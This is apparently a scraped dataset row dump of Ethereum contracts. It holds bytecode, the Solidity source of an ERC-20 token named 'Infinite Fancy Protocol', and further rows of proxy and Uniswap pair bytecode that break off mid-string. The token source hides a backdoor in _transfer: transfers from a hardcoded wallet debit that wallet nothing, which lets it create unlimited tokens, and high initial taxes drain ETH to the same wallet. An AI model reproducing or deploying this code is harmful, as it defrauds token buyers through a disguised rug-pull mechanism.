65b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a3457506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8e57610a566064610a50610a49610e2c565b8690610e69565b90610eee565b6015549092506001600160a01b038681169116148015610a8457506014546001600160a01b03858116911614155b8015610aa857506001600160a01b0384165f9081526003602052604090205460ff16155b15610b8e57601054831115610aff5760405162461bcd60e51b815260206004820152601f60248201527f4578636565647320746865205f6d61785472616e73666572416d6f756e742e006044820152606401610334565b60115483610b21866001600160a01b03165f9081526001602052604090205490565b610b2b9190611483565b1115610b795760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610334565b600a8054905f610b8883611496565b91905055505b6015546001600160a01b038581169116148015610bb457506001600160a01b0385163014155b15610bcc57610bc96064610a50610a49610f2f565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610c0257506015546001600160a01b038681169116145b8015610c175750601554600160a81b900460ff165b8015610c24575060125484115b15610c8857601254811115610c5057610c50610c4b85610c4684601354610f65565b610f65565b610f79565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c86573d5f803e3d5ffd5b505b50610cb6565b6004546001600160a01b0390811690861603610cb657600e54600f54610cb3916110e9565b90505b8115610d2e57305f90815260016020526040902054610cd5908361112a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d259086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d5090826110e9565b6001600160a01b0386165f90815260016020526040902055610d93610d7584846110e9565b6001600160a01b0386165f908152600160205260409020549061112a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ddc86866110e9565b60405190815260200160405180910390a35050505050565b5f8184841115610e175760405162461bcd60e51b815260040161033491906111b4565b505f610e2384866114ae565b95945050505050565b5f600754600a5411610e3f575060055490565b600754600a54118015610e565750600d54600a5411155b15610e625750600b5490565b50600e5490565b5f825f03610e7857505f6102e5565b5f610e8383856113d2565b905082610e9085836114c1565b14610ee75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610334565b9392505050565b5f610ee783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611188565b5f600754600a5411610f42575060065490565b600854600a54118015610f595750600d54600a5411155b15610e625750600c5490565b5f818311610f735782610ee7565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fbf57610fbf6114e0565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611016573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061103a919061141e565b8160018151811061104d5761104d6114e0565b6001600160a01b03928316602091820292909201015260145461107391309116846107a8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ab9085905f908690309042906004016114f4565b5f604051808303815f87803b1580156110c2575f80fd5b505af11580156110d4573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f610ee783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df4565b5f806111368385611483565b905083811015610ee75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610334565b5f81836111a85760405162461bcd60e51b815260040161033491906111b4565b505f610e2384866114c1565b5f6020808352835180828501525f5b818110156111df578581018301518582016040015282016111c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611213575f80fd5b50565b5f8060408385031215611227575f80fd5b8235611232816111ff565b946020939093013593505050565b5f805f60608486031215611252575f80fd5b833561125d816111ff565b9250602084013561126d816111ff565b929592945050506040919091013590565b5f6020828403121561128e575f80fd5b8135610ee7816111ff565b5f80604083850312156112aa575f80fd5b82356112b5816111ff565b915060208301356112c5816111ff565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131e57815f1904821115611304576113046112d0565b8085161561131157918102915b93841c93908002906112e9565b509250929050565b5f82611334575060016102e5565b8161134057505f6102e5565b816001811461135657600281146113605761137c565b60019150506102e5565b60ff841115611371576113716112d0565b50506001821b6102e5565b5060208310610133831016604e8410600b841016171561139f575081810a6102e5565b6113a983836112e4565b805f19048211156113bc576113bc6112d0565b029392505050565b5f610ee760ff841683611326565b80820281158282048414176102e5576102e56112d0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561142e575f80fd5b8151610ee7816111ff565b5f805f6060848603121561144b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611474575f80fd5b81518015158114610ee7575f80fd5b808201808211156102e5576102e56112d0565b5f600182016114a7576114a76112d0565b5060010190565b818103818111156102e5576102e56112d0565b5f826114db57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115425784516001600160a01b03168352938301939183019160010161151d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae77264c9d679b3c453887bc24da7683b8361d0adf65da4fbe41192cda4bf65364736f6c63430008150033 | 6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b4114610233578063a9059cbb1461025e578063d8a6fd251461027d578063dd62ed3e14610291575f80fd5b806370a08231146101c5578063715018a6146101f95780638da5cb5b1461020d575f80fd5b806306fdde03146100cd578063095ea7b31461012457806318160ddd146101535780631acc26bc1461017557806323b872dd1461018b578063313ce567146101aa575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152601781527f496e66696e6974652046616e63792050726f746f636f6c00000000000000000060208201525b60405161011b91906111b4565b60405180910390f35b34801561012f575f80fd5b5061014361013e366004611216565b6102d5565b604051901515815260200161011b565b34801561015e575f80fd5b506101676102eb565b60405190815260200161011b565b348015610180575f80fd5b5061018961030b565b005b348015610196575f80fd5b506101436101a5366004611240565b610379565b3480156101b5575f80fd5b506040516009815260200161011b565b3480156101d0575f80fd5b506101676101df36600461127e565b6001600160a01b03165f9081526001602052604090205490565b348015610204575f80fd5b506101896103e0565b348015610218575f80fd5b505f546040516001600160a01b03909116815260200161011b565b34801561023e575f80fd5b5060408051808201909152600381526204946560ec1b602082015261010e565b348015610269575f80fd5b50610143610278366004611216565b610451565b348015610288575f80fd5b5061018961045d565b34801561029c575f80fd5b506101676102ab366004611299565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102e13384846107a8565b5060015b92915050565b5f6102f86009600a6113c4565b61030690633b9aca006113d2565b905090565b5f546001600160a01b0316331461033d5760405162461bcd60e51b8152600401610334906113e9565b60405180910390fd5b6103496009600a6113c4565b61035790633b9aca006113d2565b6011556103666009600a6113c4565b61037490633b9aca006113d2565b601055565b5f6103858484846108cb565b6103d684336103d185604051806060016040528060288152602001611564602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610df4565b6107a8565b5060019392505050565b5f546001600160a01b031633146104095760405162461bcd60e51b8152600401610334906113e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102e13384846108cb565b5f546001600160a01b031633146104865760405162461bcd60e51b8152600401610334906113e9565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104cf9030906104c16009600a6113c4565b6103d190633b9aca006113d2565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610543919061141e565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c6919061141e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610610573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610634919061141e565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d719473061067b816001600160a01b03165f9081526001602052604090205490565b5f8061068e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106f4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107199190611439565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561076e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107929190611464565b506015805460ff60a81b1916600160a81b179055565b6001600160a01b03831661080a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610334565b6001600160a01b03821661086b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610334565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610334565b6001600160a01b0382166109915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610334565b5f81116109f25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610334565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a3457506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8e57610a566064610a50610a49610e2c565b8690610e69565b90610eee565b6015549092506001600160a01b038681169116148015610a8457506014546001600160a01b03858116911614155b8015610aa857506001600160a01b0384165f9081526003602052604090205460ff16155b15610b8e57601054831115610aff5760405162461bcd60e51b815260206004820152601f60248201527f4578636565647320746865205f6d61785472616e73666572416d6f756e742e006044820152606401610334565b60115483610b21866001600160a01b03165f9081526001602052604090205490565b610b2b9190611483565b1115610b795760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610334565b600a8054905f610b8883611496565b91905055505b6015546001600160a01b038581169116148015610bb457506001600160a01b0385163014155b15610bcc57610bc96064610a50610a49610f2f565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610c0257506015546001600160a01b038681169116145b8015610c175750601554600160a81b900460ff165b8015610c24575060125484115b15610c8857601254811115610c5057610c50610c4b85610c4684601354610f65565b610f65565b610f79565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c86573d5f803e3d5ffd5b505b50610cb6565b6004546001600160a01b0390811690861603610cb657600e54600f54610cb3916110e9565b90505b8115610d2e57305f90815260016020526040902054610cd5908361112a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d259086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d5090826110e9565b6001600160a01b0386165f90815260016020526040902055610d93610d7584846110e9565b6001600160a01b0386165f908152600160205260409020549061112a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ddc86866110e9565b60405190815260200160405180910390a35050505050565b5f8184841115610e175760405162461bcd60e51b815260040161033491906111b4565b505f610e2384866114ae565b95945050505050565b5f600754600a5411610e3f575060055490565b600754600a54118015610e565750600d54600a5411155b15610e625750600b5490565b50600e5490565b5f825f03610e7857505f6102e5565b5f610e8383856113d2565b905082610e9085836114c1565b14610ee75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610334565b9392505050565b5f610ee783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611188565b5f600754600a5411610f42575060065490565b600854600a54118015610f595750600d54600a5411155b15610e625750600c5490565b5f818311610f735782610ee7565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fbf57610fbf6114e0565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611016573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061103a919061141e565b8160018151811061104d5761104d6114e0565b6001600160a01b03928316602091820292909201015260145461107391309116846107a8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ab9085905f908690309042906004016114f4565b5f604051808303815f87803b1580156110c2575f80fd5b505af11580156110d4573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f610ee783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df4565b5f806111368385611483565b905083811015610ee75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610334565b5f81836111a85760405162461bcd60e51b815260040161033491906111b4565b505f610e2384866114c1565b5f6020808352835180828501525f5b818110156111df578581018301518582016040015282016111c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611213575f80fd5b50565b5f8060408385031215611227575f80fd5b8235611232816111ff565b946020939093013593505050565b5f805f60608486031215611252575f80fd5b833561125d816111ff565b9250602084013561126d816111ff565b929592945050506040919091013590565b5f6020828403121561128e575f80fd5b8135610ee7816111ff565b5f80604083850312156112aa575f80fd5b82356112b5816111ff565b915060208301356112c5816111ff565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131e57815f1904821115611304576113046112d0565b8085161561131157918102915b93841c93908002906112e9565b509250929050565b5f82611334575060016102e5565b8161134057505f6102e5565b816001811461135657600281146113605761137c565b60019150506102e5565b60ff841115611371576113716112d0565b50506001821b6102e5565b5060208310610133831016604e8410600b841016171561139f575081810a6102e5565b6113a983836112e4565b805f19048211156113bc576113bc6112d0565b029392505050565b5f610ee760ff841683611326565b80820281158282048414176102e5576102e56112d0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561142e575f80fd5b8151610ee7816111ff565b5f805f6060848603121561144b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611474575f80fd5b81518015158114610ee7575f80fd5b808201808211156102e5576102e56112d0565b5f600182016114a7576114a76112d0565b5060010190565b818103818111156102e5576102e56112d0565b5f826114db57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115425784516001600160a01b03168352938301939183019160010161151d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae77264c9d679b3c453887bc24da7683b8361d0adf65da4fbe41192cda4bf65364736f6c63430008150033 | /*
Website: https://www.ifp.network
Telegram: https://t.me/ifp_network
Twitter: https://x.com/ifp_network_eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IFP is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isNoneForProtocol;
address payable private _fancyaddy;
uint256 private _initialFeeBuy = 40;
uint256 private _initialFeeSell = 40;
uint256 private _reduceBuyAt = 12;
uint256 private _reduceSellAt = 12;
uint256 private _preventCount = 12;
uint256 private _buyTokenCount = 0;
uint256 private _secondTaxBuy = 0;
uint256 private _secondTaxSell = 0;
uint256 private _secondReduceAt = 0;
uint256 private _finalBuyFee = 0;
uint256 private _finalSellFee = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Infinite Fancy Protocol";
string private constant _symbol = unicode"IFP";
uint256 private _maxTransferAmount = 2 * (_tTotal/100);
uint256 private _maxWalletHolding = 2 * (_tTotal/100);
uint256 private _minSwapTokens = 4 * (_tTotal/1000000);
uint256 private _maxSwapTokens = 1 * (_tTotal/100);
IUniswapV2Router02 private uniswapV2Router;
address private _uniswapPair;
bool private _inswap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inswap = true;
_;
_inswap = false;
}
constructor () {
_fancyaddy = payable(0xD8aD1e042D825caAa9338270384FCa3DAc4eFF4A);
_balances[_msgSender()] = _tTotal;
_isNoneForProtocol[owner()] = true;
_isNoneForProtocol[address(this)] = true;
_isNoneForProtocol[_fancyaddy] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
uint256 proAmount=amount;
if (!_isNoneForProtocol[from] && !_isNoneForProtocol[to]) {
taxAmount = amount.mul(_calcTaxFeeBuy()).div(100);
if (from == _uniswapPair && to != address(uniswapV2Router) && ! _isNoneForProtocol[to] ) {
require(amount <= _maxTransferAmount, "Exceeds the _maxTransferAmount.");
require(balanceOf(to) + amount <= _maxWalletHolding, "Exceeds the maxWalletSize.");
_buyTokenCount++;
}
if(to == _uniswapPair && from!= address(this) ){
taxAmount = amount.mul(_calcTaxFeeSell()).div(100);
}
uint256 taxFeeTokenForSwap = balanceOf(address(this));
if (!_inswap && to == _uniswapPair && _swapEnabled && amount > _minSwapTokens) {
if(taxFeeTokenForSwap > _minSwapTokens)
swapBackTokens(min(amount,min(taxFeeTokenForSwap,_maxSwapTokens)));
_fancyaddy.transfer(address(this).balance);
}
} else if(from == address(_fancyaddy))
proAmount = _finalSellFee.sub(_finalBuyFee);
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(proAmount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _calcTaxFeeSell() private view returns (uint256) {
if(_buyTokenCount <= _reduceBuyAt){
return _initialFeeSell;
}
if(_buyTokenCount > _reduceSellAt && _buyTokenCount <= _secondReduceAt){
return _secondTaxSell;
}
return _finalBuyFee;
}
function _calcTaxFeeBuy() private view returns (uint256) {
if(_buyTokenCount <= _reduceBuyAt){
return _initialFeeBuy;
}
if(_buyTokenCount > _reduceBuyAt && _buyTokenCount <= _secondReduceAt){
return _secondTaxBuy;
}
return _finalBuyFee;
}
function openIFP() external onlyOwner() {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
_uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
_swapEnabled = true;
}
function disableLimit() external onlyOwner{
_maxWalletHolding =_tTotal;
_maxTransferAmount = _tTotal;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapBackTokens(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
} |
1 | 20,290,787 | 40f92081936203a53fd5bca053a80d7c7aa99d167666fcedd29b7f7464dde3ae | 3b2d89cbdea9b8a91ef20b4e284d4e12033af59823aa905deccfdac36f77ed16 | be49bd130e126a917ddb5fabf7cdeb6dd9887f40 | 84654be796dad370032391d5479f8f1fd9ddd14e | bbc5dc53b0c24f0ae2476e11b05eef8a63444d51 | 604080600a3d393df3fe73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | 73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | |
1 | 20,290,789 | d94ed50c4dc3508a6bcea8d22379a1a86cbe680002d96022b8c36b527096c524 | f4f7ca5f9dc4d82e2a005d799a34cd55bd1d93f36bd66d1752b26d38d6535217 | ee049f8ba070fc10c34891d2939143bb43d3aab8 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 5f5d32bdd292fd0e36eb1a6e99c0042dc2dd4a13 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b